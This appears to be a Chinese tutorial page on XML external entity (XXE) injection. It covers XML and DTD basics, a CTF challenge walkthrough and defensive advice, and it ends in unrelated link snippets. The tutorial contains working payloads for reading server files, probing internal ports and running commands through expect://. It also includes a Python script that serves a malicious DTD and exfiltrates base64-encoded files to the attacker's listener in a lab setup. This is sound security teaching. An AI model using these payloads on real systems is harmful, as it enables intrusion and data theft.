Xml外部实体注入漏洞
Xml外部实体注入漏洞(XXE)
Xml介绍
XML 不是 HTML 的替代。
XML 和 HTML 为不同的目的而设计:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。
XML文档结构包括:XML文档声明,DTD文档类型定义,文档元素.libxml是一个XML文档解释器,libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消失
<?xml version="1.0"?> # xml声明
<!DOCTYPE note SYSTEM "note.dtd"> # DTD文档类型定义
<note>
<to>George</to>
<from>John</from> # 文档元素
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
内部声明DTD
<!DOCTYPE 根元素 [元素声明]]>
实体可以通俗的理解为定义变量,实体可在内部或外部进行声明。内部声明就类似直接定义变量,外部声明实体就类似引入外部文件的内容作为变量的值。
内部声明实体
<!ENTITY 实体名称 "实体的值">
示例
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<note>
<author>&writer;©right;</author>
</note>
外部声明实体
<!ENTITY 实体名称 SYSTEM "URI/URL">
支持http、https、file等很多协议
示例
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<note>
<author>&writer;©right;</author>
</note>
外部声明DTD
外部声明DTD是直接引入外部的一个dtd文件与外部声明实体要区分清楚
<!DOCTYPE 根元素 SYSTEM "文件名">
示例
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
漏洞危害
读取服务器任意文件(file协议导入)
<!ENTITY writer SYSTEM "file:///flag">
探测内网端口
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY writer SYSTEM "http:/ip:端口/xxx">
]>
在php中可以通过simplexml_load_string函数报错的回显判断端口开放情况,可以通过响应时间来判断(如果目标系统未作处理)
执行系统命令(需要一定条件 不同语言执行的方式不同)
安装expect扩展的PHP环境里还可以直接执行系统命令
执行ifconfig命令
<?xml version="1.0"?> <!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "expect://ifconfig" >]> <xxe>
<name>&XXE;</name>
</xxe>
攻击内网网站(需要内网其他网站存在漏洞)
Buuctf ctf题目
[NCTF2019]Fake XML cookbook

尝试性登录 然后通过burpsuit抓包

Accept: application/xml, text/xml, /; q=0.01
X-Requested-With: XMLHttpRequest
并且post提交的是xml格式的内容-------->可能存在xml外部实体注入漏洞
尝试性注入
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY writer "test">
]>
<user><username>&writer;zyh</username><password>123456</password></user>

发现test注入成功---------->判断存在漏洞------->因为是ctf题我们要获取flag--------->读取本地的flag文件

这里读取的文件路径为/flag (因为很多ctf题都会将flag放在这里)
python检测xxe
有回显的xxe很方便就可以判断(比如上面那个ctf题),但是无回显xxe判断起来有些繁琐。这里使用python进行检测,源代码来自《python安全攻防》
from http.server import HTTPServer,SimpleHTTPRequestHandler
import threading
import requests
import sys
# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件
class MyHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
# 终端输出HTTP访问信息
sys.stderr.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format%args))
# 保存信息到文件
textFile = open("result.txt", "a")
textFile.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format%args))
textFile.close()
# 开启HTTP服务,接收数据
def StartHTTP(lip,lport):
# HTTP监听的IP地址和端口
serverAddr = (lip, lport)
httpd = HTTPServer(serverAddr, MyHandler)
print("[*] 正在开启HTTP服务器:\n\n================\nIP地址:{0}\n端口:{1}\n================\n".format(lip, lport))
httpd.serve_forever()
# 创建攻击代码文件
def ExportPayload(lip,lport):
file = open('evil.xml','w')
file.write("<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(lip, lport))
file.close()
print("[*] Payload文件创建成功!")
#通过POST发送攻击数据
def SendData(lip, lport, url):
# 需要读取的文件的路径(默认值)
filePath = "c:\\test.txt"
while True:
# 对用户的输入的文件路径斜杠的替换
filePath = filePath.replace('\\', "/")
data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(filePath, lip, lport)
requests.post(url, data=data)
# 继续接收用户的输入,读取指定文件
filePath = input("Input filePath:")
if __name__ == '__main__':
#本机IP
lip = "192.168.61.130"
#本机HTTP监听端口
lport = 3344
#目标网站提交表单的URL
url = "http://192.168.61.134/xxe-lab/php_xxe/doLogin.php"
# 创建payload文件
ExportPayload(lip, lport)
# HTTP服务线程
threadHTTP = threading.Thread(target=StartHTTP,args=(lip, lport))
threadHTTP.start()
# 发送POST数据线程
threadPOST = threading.Thread(target=SendData,args=(lip, lport, url))
threadPOST.start()
靶场可以选择xxe-lab
对xxe-lab中doLogin.php进行如下操作
- 注释掉最后一行的echo $result;
- 增加errer_report(0);
这样不会输出也不会报错 就变成了无回显的xxe漏洞
防御策略
- 默认禁止外部实体的解析
- 对用户提交的XML数据进行过滤,如关键词<!DOCTYPE和<!ENTITY 或者 SYSTEM 和 PUBLIC等。
- 网站对应的编程语言禁用相关函数
Xml外部实体注入漏洞的更多相关文章
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...
- XML外部实体注入漏洞(XXE)
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析
0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
- XXE(xml外部实体注入漏洞)
实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...
- PHP xml 外部实体注入漏洞学习
XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Exten ...
- 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞
官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...
- 【研究】XML外部实体注入(XXE)
在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 < ...
- XXE--XML外部实体注入漏洞
XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...
- XXE外部实体注入漏洞
XML被设计为传输和存储数据,XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具.XXE漏洞全称XML E ...
随机推荐
- 使用gdb
1.设置断点,在源程序第16 行处 (gdb)break 16 Breakpoint 1 at 0x8048496: file tst.c, line 16. 2.设置断点,在函数func()入口处. ...
- 添加ico图标
1. 先添加资源文件XXX.Ico,然后引用的时候用如下代码即可. Icon ico=Properties.Resources.XXX;
- bzoj5130 字符串的周期(kmp,最小表示法)
bzoj5130 字符串的周期(kmp,最小表示法) bzoj 题解时间 m很大,n很小. 周期很容易求,就是kmp之后n-fail[n]. 之后对于枚举所有的字符串用最小表示法,暴力搜索. 能过就完 ...
- Redis+Caffeine两级缓存,让访问速度纵享丝滑
原创:微信公众号 码农参上,欢迎分享,转载请保留出处. 在高性能的服务架构设计中,缓存是一个不可或缺的环节.在实际的项目中,我们通常会将一些热点数据存储到Redis或MemCache这类缓存中间件中, ...
- Python集成开发工具(IDE)推荐
1.7 Python集成开发工具(IDE)推荐 1.7.1 Notepad++ Notepad++是Windows操作系统下的一套文本编辑器(软件版权许可证: GPL),有完整的中文化接口及支持多国语 ...
- 半吊子菜鸟学Web开发 -- PHP学习2-正则,cookie和session
1正则表达式 1.1基本的匹配字符串 $p = '/apple/'; $str = "apple banna"; if (preg_match($p, $str)) { echo ...
- 详细描述一下 Elasticsearch 索引文档的过程 ?
面试官:想了解 ES 的底层原理,不再只关注业务层面了. 解答: 这里的索引文档应该理解为文档写入 ES,创建索引的过程. 文档写入包含:单文档写入和批量 bulk 写入,这里只解释一下:单文档写入流 ...
- 面试问题之C++语言:面向对象的三大特性
转载于:https://www.cnblogs.com/BEN-LK/p/10720249.html 面向对象的三大特性:封装.继承.多态 封装:就是把客观事物封装成抽象的类,并且类可以把自己的数据和 ...
- Elasticsearch 中的节点(比如共 20 个),其中的 10 个 选了一个 master,另外 10 个选了另一个 master,怎么办?
1.当集群 master 候选数量不小于 3 个时,可以通过设置最少投票通过数量(discovery.zen.minimum_master_nodes)超过所有候选节点一半以上来解决脑裂问题: 2.当 ...
- Javascript Promises学习
Promise对象的三个状态 pending(进行中) fulfilled(已成功) rejected(已失败) Promise代表一个异步操作,对象的状态一旦改变,就不会再改变 Promise构造函 ...